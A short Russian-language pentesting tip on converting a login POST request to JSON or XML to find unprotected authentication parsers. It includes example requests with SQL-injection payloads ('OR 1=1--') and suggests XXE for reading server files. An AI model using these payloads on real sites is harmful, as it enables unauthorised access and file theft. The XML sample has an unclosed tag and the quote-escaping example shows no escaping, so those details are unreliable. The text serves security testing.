Как найти уязвимости там, где их ещё никто не искал? Попробуй перевести POST-запрос, например, для аутентификации в JSON- или XML-формат. Идея в том, что разработчики часто оставляют различные способы аутентификации, обычно, для дальнейшего использования сторонними приложениями. А так как эта функциональность не на виду, часто она не защищена от банальных инъекций. а если в дело вступает XML — чтение произвольных файлов на сервере практически гарантированно!
Смотри, есть стандартный вход на сайт:
POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded ... username=demologin&password=demopass
Теперь переведем все параметры в json формат
POST /login HTTP/1.1 Content-Type: application/json ... { "username": "demologin", "password": "demopass" }
Если аутентификация произошла — попробуй сделать из этого инъекцию, например:
POST /login HTTP/1.1 Content-Type: application/json ... { "username": "demologin’ OR 1=1--", "password": "demopass" }
Не забывай, что это JSON, и чтобы не нарушить его структуру, вектор вида
" OR "a"="a
необходимо отпрaвлять с экранированными кавычками — " OR "a"="a
.
Так же попробуй перевести в XML, главное не забудь про Content-type, многие веб-приложения не захотят парсить XML без него!
POST /login HTTP/1.1 Content-Type: application/xml ... <?xml version="1.0" ?> <username>demologin<username> <password>demopass</password>
Всё получилось? Пробуй XXE — и возможно у тебя в руках чтение произвольных файлов на сервере. Круто, правда?